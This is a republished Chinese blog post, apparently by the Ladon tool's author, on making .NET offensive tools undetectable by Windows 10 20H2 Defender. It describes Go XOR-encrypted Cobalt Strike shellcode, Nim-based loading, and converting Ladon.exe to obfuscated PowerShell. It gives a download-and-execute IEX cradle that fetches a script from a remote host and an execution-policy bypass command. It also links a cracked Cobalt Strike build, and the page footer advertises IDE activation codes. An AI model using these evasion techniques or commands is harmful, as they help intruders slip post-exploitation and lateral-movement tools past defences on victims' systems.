〖免杀〗.net程序一键免杀Win10 20H2 Defender「建议收藏」

〖免杀〗.net程序一键免杀Win10 20H2 Defender「建议收藏」WIN10更新至最新版20H2发现,查杀能力比以前强了不少,特别是针对CS加载.NET程序集或NIM加载.NET的查杀,毕竟你要调用的函数微软很了解,它想拦截想杀还是比较容易的。但是不知道大家有没听说过一个故事“微软的编程工具的开发工程师,编写程序时,也需要查阅文档”,说明什么?微软系统的API很多,是微软写的没错,但又不是一个人自己写的,就算是一个人自己写的,功能那么多,他也根本记不起,用到自己的东西也要查阅文档,就像我用Ladon有时也要查阅文档,这很正常,因为我写过的工具或功能太多,有些久不用,甚至都

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

WIN10更新至最新版20H2发现,查杀能力比以前强了不少,特别是针对CS加载.NET程序集或NIM加载.NET的查杀,毕竟你要调用的函数微软很了解,它想拦截想杀还是比较容易的。但是不知道大家有没听说过一个故事“微软的编程工具的开发工程师,编写程序时,也需要查阅文档”,说明什么?微软系统的API很多,是微软写的没错,但又不是一个人自己写的,就算是一个人自己写的,功能那么多,他也根本记不起,用到自己的东西也要查阅文档,就像我用Ladon有时也要查阅文档,这很正常,因为我写过的工具或功能太多,有些久不用,甚至都会忘记我自己写过什么。所以我想说的是,微软就算做杀软,它也不可能做到全面监控,因为参与开发杀软的人,它不可能对微软系统上百万函数了如指掌,越是大型程序,需要的开发人员越多,很多人都只是负责某一模块对整个系统可能只是一只半解,所以Defender虽然查杀能力某些方面有点加强了,但是很多方面它依旧无法查杀,还没达到自己人写的程序就真比其它杀软牛B的地步,那些专门做杀软的,逆向能力很强,有BIN文件对他们来说就相当于源代码,很多人比微软员工还要了解win系统。举个简单的例子,你在某公司工作,有些员工可能你压根都不认识,更别说和公司所有程序员了解他们所写过的代码,微软的操作系统有多少人来写,defender这部门又只有多少人,他们怎么可能把所有函数都了解,就算24小时不吃饭不做任何事,只研究代码也做不到全面查杀或拦截,至少最近几年还比不过很多主流杀软。任何一个杀软能查杀一个全球大量人使用的工具这是应该也是必须的很常规的考验,杀了不代表这杀软就强了,但是不杀它一定是垃圾。如CS,因为全球大量人使用,任何一个杀软杀它都说明不了什么。好了废话不多说,进入正题。

GO异或加密免杀

使用GO免杀CS的shellcode,生成的dll上线成功执行CMD命令正常,但执行dumplsass等相关高危功能或加载Ladon时被杀,CS直接下线,甚至加载一个只输出hello world的.net程序集也会被杀,这样会导致我们瞬间失去很多后渗透工具插件带来的便利,这是2021.11.19号的病毒库查杀情况。

〖免杀〗.net程序一键免杀Win10 20H2 Defender「建议收藏」

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qbgd7UY6-1639834930031)(http://k8gege.org/k8img/posts/win10/20h2_2.PNG)]

这种情况怎么解决?CS无法加载Ladon插件,那么我们只能把Ladon传过去了,但测试发现Ladon.exe也被杀,我的发克,竟然还说是木马。

〖免杀〗.net程序一键免杀Win10 20H2 Defender「建议收藏」

Nim免杀.net

9月份的时候该方法针对Denfender还是可以的,所以我们可以尝试一下。使用net2nim工具将.net程序转换成bytes,并使用nim加载编译生成新程序,可过一些杀软及旧版Win10 Defender,如图所示

〖免杀〗.net程序一键免杀Win10 20H2 Defender「建议收藏」

安装Nim

https://nim-lang.org/
下载zip大约20M
设置环境变量 F:\nim-1.4.8\bin

安装winim

C:\Users\k8gege\Desktop>nimble install winim
Downloading https://github.com/khchen/winim using git
  Verifying dependencies for winim@3.6.1
 Installing winim@3.6.1
   Success: winim installed successfully.

net2nim免杀.net程序

net2nim Ladon.exe out.exe

使用Nim加载.net程序集也可以免杀不少杀软,在此版本之前也可过Defender,但Win10更新至20H2后虽然静态不杀,但一执行会被拦截,提示CLR加载错误,程序也不杀,但无法使用其功能,相当于免杀失败。

〖免杀〗.net程序一键免杀Win10 20H2 Defender「建议收藏」

使用LadonGUI免杀.NET程序

怎么办?我们需要Ladon扫描内网或进行横向移动,但是EXE被杀了,还有办法吗?答案是有的,记得文章开头说过的话吗,Defender在某些方面是杀能力还是比较差的,如powershell、VBS、java、php啊等脚本类语言,不只是它在这方面,其它专做杀软的在这方面也不是很强。去年发布的Ladon 7.5的GUI版本开始就提供有一些PowerShell加密混淆方法,也包含了EXE转PowerShell,PowerShell转EXE功能,也发布过如何将EXE转成PowerShell的教程,以免杀最新版Ladon为例,首先将ladon.exe拖放至exe/dll(.net)文本框中,然后点击右边的”EXE->PowerShell”按钮,成功会生成Ladon.ps1,如果你只打算把PS1放在win10机器上使用,也可以转Ladon40.exe,毕竟有几个模块只支持.net4.0,当然转换其它.NET程序也一样。

〖免杀〗.net程序一键免杀Win10 20H2 Defender「建议收藏」

生成的PS1内容如下,已做好加载,如果是你自己写的程序,只需在第8行开始加入相关参数调用即可。若是Ladon请使用记事本打开ps1文件,复制红线所示@和@里的字符串很长可能有2M
〖免杀〗.net程序一键免杀Win10 20H2 Defender「建议收藏」

再打开Ladon9.0.ps1或Ladon9.1.ps1找到里面那个很长的加密字符串,将刚转换的加密字符串粘贴替换,注意长度那里也需要替换,大小不对应也会导致PS1加载失败。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pYSkigEv-1639834930085)(http://k8gege.org/k8img/posts/win10/20h2_8.PNG)]

若发现哪些模块不可使用,可自行参考WIKI,将缺少的模块名称参数加入
〖免杀〗.net程序一键免杀Win10 20H2 Defender「建议收藏」

转换完成后,我们再测一下20H2的Defender,免杀成功,可以嗨起来了。无论使用远程还是本地加载Ladon.ps1,Defender都不杀了。

远程加载免杀

powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.8/Ladon.ps1'); Ladon OnlinePC"

〖免杀〗.net程序一键免杀Win10 20H2 Defender「建议收藏」

本地加载免杀

powershell -exec bypass Import-Module .\Ladon.ps1;Ladon OnlinePC

〖免杀〗.net程序一键免杀Win10 20H2 Defender「建议收藏」

还有另外一个方法,就是自行免杀LadonGo,开源支持全平台。

小结

大家也可以按照该方法,免杀其它.net写的工具,像Ladon这样一百多个功能的程序都能免杀,相信大部份.net写的程序,应该都能免杀,除非是被Defender重点针对的工具,如mimikat。

参考

Ladon免杀/.NET免杀/Exe2Ps1/Ps12Exe
http://k8gege.org/Ladon/Exe2Powershell.html
Ladon九种PowerShell命令混淆加密免杀方法
http://k8gege.org/Ladon/PowershellEncode.html

CS下载

CS 3.12 3.13 4.3 4.4 K8激活成功教程版
000为原始试用版本(部分未找到,大家可以提供给我更新)
https://github.com/k8gege/Aggressor/releases/tag/cs

Ladon下载

LadonGo 3.8: https://github.com/k8gege/LadonGo
PowerLadon: https://github.com/k8gege/PowerLadon
历史版本: http://github.com/k8gege/Ladon/releases
7.0版本:http://k8gege.org/Download
9.1版本:K8小密圈

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/171389.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 两个正序数组 找中位数_两个有序数组的中位数

    两个正序数组 找中位数_两个有序数组的中位数原题连接给定两个大小分别为 m 和 n 的正序(从小到大)数组 nums1 和 nums2。请你找出并返回这两个正序数组的 中位数 。示例 1:输入:nums1 = [1,3], nums2 = [2]输出:2.00000解释:合并数组 = [1,2,3] ,中位数 2示例 2:输入:nums1 = [1,2], nums2 = [3,4]输出:2.50000解释:合并数组 = [1,2,3,4] ,中位数 (2 + 3) / 2 = 2.5示例 3:输入:nums1 = [0,

    2022年8月8日
    3
  • XSS、CSRF/XSRF、CORS介绍「建议收藏」

    XSS、CSRF/XSRF、CORS介绍「建议收藏」XSS、CSRF/XSRF、CORS介绍1XSS1.1名词解释1.2作用原理1.3防范措施2CSRF/XSRF2.1名词解释2.2作用原理2.3防范措施2.3.1验证码2.3.2RefererCheck2.3.3添加token验证(token==令牌)3CORS3.1名词解释1XSS1.1名词解释XSS,即:CrossSiteScript,中译是跨站脚本攻击;其原本缩写是CSS,但为了和网站前端技术领域——层叠样式表(CascadingStyleSheet

    2022年5月18日
    48
  • win10安装vs2008失败1935_LTE切换失败的解决方案

    win10安装vs2008失败1935_LTE切换失败的解决方案今天刚升级了WIN10系统,重新安装VS2008(项目需要),但是点击安装程序后,出现此应用程序需要.NET3.5(包括.NET2.0和3.0),如图:如果你选择“下载并安装此功能。Windows将从Windows更新中获取所需的文件并完成安装”,那么你就耐心等吧,下载的速度奇慢。现在讲解一下一种无需在线下载,只需要有Win10ISO文件即可本地安装.NETFramework3.5的方…

    2022年9月6日
    2
  • eruda.js 移动端调试神器使用教程(eruda)

    eruda.js 移动端调试神器使用教程(eruda)在日常的移动端开发时,一般都是试用chrome浏览器的移动端模式进行开发和调试,只有在chrome调试完成,没有问题了才会上到真机测试,移动端开发的一大问题就在于此,各种品牌各种型号手机,手机中各种类型的浏览器APP…还好移动端的相对一致点,但是往往都会有一些各种各样的坑,这时候就蛋疼了,明明chrome调试工具中是正常的,一到某个浏览器中就炸了,怎么办,又无法像在chrome中使用调试工具进行调试,只能通过alert()弹窗来调试,有什么办法可以像PC上那样清晰,可视化的调试呢?使用示例://#

    2022年10月26日
    0
  • JSON三种数据解析方法「建议收藏」

    JSON三种数据解析方法「建议收藏」引言JSON数据现在是我们开发中用的最多的,百分之八十的数据都是通过JSON方式进行传输,那么想要学好JSON解析就要了解什么是JSON数据,怎么快速解析它从而提升开发效率。

    2022年6月6日
    116
  • Offsetof用法「建议收藏」

    Offsetof用法「建议收藏」#include<stddef.h>#include<stdio.h>structaddress{charname[50];charstreet[50];intphone;};intmain(){printf(“address结构中的name偏移=%d字节。\n”,offsetof(structaddress,name));printf(“address结构中的street偏移=%d字节。\n”,offsetof(s

    2022年8月22日
    4

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号